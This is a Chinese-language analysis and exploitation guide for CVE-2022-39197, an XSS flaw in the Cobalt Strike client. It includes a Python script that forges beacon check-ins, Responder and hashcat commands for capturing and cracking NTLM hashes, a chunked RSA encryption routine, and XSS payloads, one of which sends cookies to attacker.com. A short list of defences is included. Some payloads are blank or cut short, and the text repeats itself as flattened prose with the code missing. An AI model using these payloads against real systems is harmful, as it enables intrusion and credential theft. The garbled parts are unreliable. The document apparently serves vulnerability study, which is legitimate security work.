针对CS最新XSS漏洞的详细研究--CVE-2022-39197
字数 1261 2025-08-12 11:34:39

CVE-2022-39197:Cobalt Strike XSS漏洞分析与利用指南

1. 漏洞概述

CVE-2022-39197是Cobalt Strike(CS)客户端中存在的一个跨站脚本(XSS)漏洞,主要由于CS客户端能够渲染HTML内容,攻击者可以通过伪造上线请求,在计算机名、用户名等字段中注入恶意脚本,从而实现对CS控制端的攻击。

2. 漏洞原理分析

2.1 Cobalt Strike上线流量分析

实验环境配置

  • 本地主机(Windows 11): 192.168.52.1
  • 服务端(Windows 10): 192.168.52.129
  • 被控端(Windows 10): 192.168.52.140

上线流量关键点

  1. 生成裸奔马(无加密payload)在被控端执行
  2. 使用Wireshark抓包分析应用层流量(HTTP协议)
  3. 关键数据包分析:
    • 第3和第4个数据包包含加密的Cookie值
    • 该加密值疑似使用RSA非对称加密
    • 这是CS的心跳包(上线请求)

2.2 RSA加密验证

通过Python模拟上线请求:

import requests
import time

url = 'http://192.168.52.128/fwlink'
header = {
    "Cookie":"OphJmHM6fR6cjpj4DMdsF3epxwniVsGao14/2a2WmqR0EoEqKdrz92bfuNUurfO1m2NGY/YgEp6tiaZr1JpVaUa2mGYPjEJCiLxBj13VGk31G4E6uI5bG5EPvM4RjWUMZnrlfJiWNGygdJGeH9mpXz40zPFT1VjWd49Wf0QKZog=",
    "User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",
    "Host":"192.168.52.128",
    "Connection":"Keep-Alive",
    "Cache-Control":"no-cache"
}

while True:
    requests.get(url,headers=header)
    time.sleep(10)

RSA公钥提取

  • 使用CobaltStrikeParser工具分析Stage
  • 真实RSA公钥(去除填充的AAAAA部分):
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCKCnNWl64nFkgSz/CstkQXvrq/6bxXcI55UIsPyzIkoTG/zwF6yxfFTOiufyP4Ji0Dc9dI+K+yZhbr5Ou0h8fSjlOaaD+fEq24JN/BNXGwVTBATmwuxoGRezMxr7XvN2O/mtItwT8uFSv5RsITh1JVC3Qdyt+wO/Ng2L80NepiWQIDAQAB

3. 漏洞利用方法

3.1 批量伪造上线

使用LiAoRJ的CS_fakesubmit工具:

  • GitHub地址:https://github.com/LiAoRJ/CS_fakesubmit
  • 原理:修改Stage中不同位置对应的值实现伪造上线

3.2 XSS漏洞利用

漏洞位置

  • 计算机名(Computer Name)
  • 用户名(User Name)
  • 其他可被HTML渲染的字段

利用场景1:获取NTLM哈希

  1. 启动Responder监听:
responder -v -I eth0
  1. 构造XSS Payload:
<html>
  1. 修改CS_fakesubmit工具:
  • 原始rsa.encrypt函数最多加密117字节
  • 需要修改脚本以支持更长payload
  1. 执行伪造上线

  2. 捕获NTLM哈希后爆破:

hashcat -m 5600 ./test /Black/zidian/fuzzDicts/passwordDict/top500.txt --force

4. 防御措施

  1. 输入验证

    • 对所有客户端输入字段进行严格的HTML过滤
    • 禁用HTML标签渲染功能
  2. 网络隔离

    • 将Cobalt Strike服务器置于隔离网络
    • 限制CS服务器出站连接
  3. 监控与检测

    • 监控异常上线行为
    • 检测伪造的心跳包请求
  4. 更新与补丁

    • 及时更新到官方修复版本
    • 关注安全公告

5. 参考资源

  1. CobaltStrikeParser工具:https://github.com/Sentinel-One/CobaltStrikeParser
  2. CS_fakesubmit工具:https://github.com/LiAoRJ/CS_fakesubmit
  3. 漏洞分析原文:https://forum.butian.net/share/708

6. 附录

6.1 修改后的CS_fakesubmit关键代码

# 修改加密函数以支持更长payload
def rsa_encrypt_long(plaintext, public_key):
    """
    支持长文本的分块RSA加密
    """
    chunk_size = 117  # RSA加密最大块大小
    encrypted_chunks = []
    for i in range(0, len(plaintext), chunk_size):
        chunk = plaintext[i:i+chunk_size]
        encrypted_chunks.append(rsa.encrypt(chunk, public_key))
    return b''.join(encrypted_chunks)

6.2 常见XSS Payload示例

  1. 获取NTLM哈希:

  1. 执行JavaScript代码:
<script>alert(document.cookie)</script>
  1. 外联数据:
<script>new Image().src="http://attacker.com/steal?data="+encodeURIComponent(document.cookie);</script>
CVE-2022-39197:Cobalt Strike XSS漏洞分析与利用指南 1. 漏洞概述 CVE-2022-39197是Cobalt Strike(CS)客户端中存在的一个跨站脚本(XSS)漏洞,主要由于CS客户端能够渲染HTML内容,攻击者可以通过伪造上线请求,在计算机名、用户名等字段中注入恶意脚本,从而实现对CS控制端的攻击。 2. 漏洞原理分析 2.1 Cobalt Strike上线流量分析 实验环境配置 : 本地主机(Windows 11): 192.168.52.1 服务端(Windows 10): 192.168.52.129 被控端(Windows 10): 192.168.52.140 上线流量关键点 : 生成裸奔马(无加密payload)在被控端执行 使用Wireshark抓包分析应用层流量(HTTP协议) 关键数据包分析: 第3和第4个数据包包含加密的Cookie值 该加密值疑似使用RSA非对称加密 这是CS的心跳包(上线请求) 2.2 RSA加密验证 通过Python模拟上线请求: RSA公钥提取 : 使用CobaltStrikeParser工具分析Stage 真实RSA公钥(去除填充的AAAAA部分): 3. 漏洞利用方法 3.1 批量伪造上线 使用LiAoRJ的CS_ fakesubmit工具: GitHub地址:https://github.com/LiAoRJ/CS_ fakesubmit 原理:修改Stage中不同位置对应的值实现伪造上线 3.2 XSS漏洞利用 漏洞位置 : 计算机名(Computer Name) 用户名(User Name) 其他可被HTML渲染的字段 利用场景1:获取NTLM哈希 启动Responder监听: 构造XSS Payload: 修改CS_ fakesubmit工具: 原始rsa.encrypt函数最多加密117字节 需要修改脚本以支持更长payload 执行伪造上线 捕获NTLM哈希后爆破: 4. 防御措施 输入验证 : 对所有客户端输入字段进行严格的HTML过滤 禁用HTML标签渲染功能 网络隔离 : 将Cobalt Strike服务器置于隔离网络 限制CS服务器出站连接 监控与检测 : 监控异常上线行为 检测伪造的心跳包请求 更新与补丁 : 及时更新到官方修复版本 关注安全公告 5. 参考资源 CobaltStrikeParser工具:https://github.com/Sentinel-One/CobaltStrikeParser CS_ fakesubmit工具:https://github.com/LiAoRJ/CS_ fakesubmit 漏洞分析原文:https://forum.butian.net/share/708 6. 附录 6.1 修改后的CS_ fakesubmit关键代码 6.2 常见XSS Payload示例 获取NTLM哈希: 执行JavaScript代码: 外联数据: